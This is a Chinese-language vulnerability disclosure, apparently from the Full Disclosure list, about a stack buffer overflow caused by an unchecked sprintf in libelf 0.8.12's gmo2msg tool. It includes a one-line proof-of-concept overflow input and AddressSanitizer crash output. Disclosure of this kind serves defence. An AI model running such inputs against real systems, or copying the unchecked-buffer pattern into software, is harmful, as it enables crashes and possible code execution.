libelf 0.8.12栈缓冲区溢出漏洞分析
漏洞概述
libelf 0.8.12版本中的gmo2msg工具存在栈缓冲区溢出漏洞。该漏洞位于po/gmo2msg.c文件中,当使用第一个程序参数(lang)构造文件名时,程序使用固定大小的本地缓冲区(char buf[1024]),并通过sprintf(buf, “%s.gmo”, lang)和sprintf(buf, “%s.msg”, lang)写入缓冲区,但没有验证lang参数的长度。
漏洞详情
提供足够长的lang参数(例如约1200字节)会导致sprintf写入超出buf的末尾,引发栈缓冲区溢出,导致进程崩溃,并在有利条件下可能实现代码执行。
影响
- 传递长lang参数时立即可重现的崩溃
- 如果二进制文件在特权上下文(例如由特权服务运行、安装为setuid、包脚本)中执行,或在具有降级漏洞缓解措施的目标上,可能实现可靠的利用
- 内存破坏可用作更大利用链中的原语
概念验证
1
|
./gmo2msg "$(python3 -c 'print("A"*1200)')"
|
输出示例
1
2
3
4
5
6
7
8
9
10
11
12
|
=================================================================
==11304==ERROR: AddressSanitizer: stack-buffer-overflow on address ...
WRITE of size 1205 at ...
#0 0x... in vsprintf (...)
#1 0x... in sprintf (...)
#2 0x... in main /root/libelf/./po/gmo2msg.c:64:5
...
This frame has 1 object(s):
[32, 1056) 'buf' (line 40) <== Memory access at offset 1056 overflows this variable
SUMMARY: AddressSanitizer: stack-buffer-overflow ... in vsprintf
==11304==ABORTING
Aborted
|
通过Full Disclosure邮件列表发送
Web存档和RSS:https://seclists.org/fulldisclosure/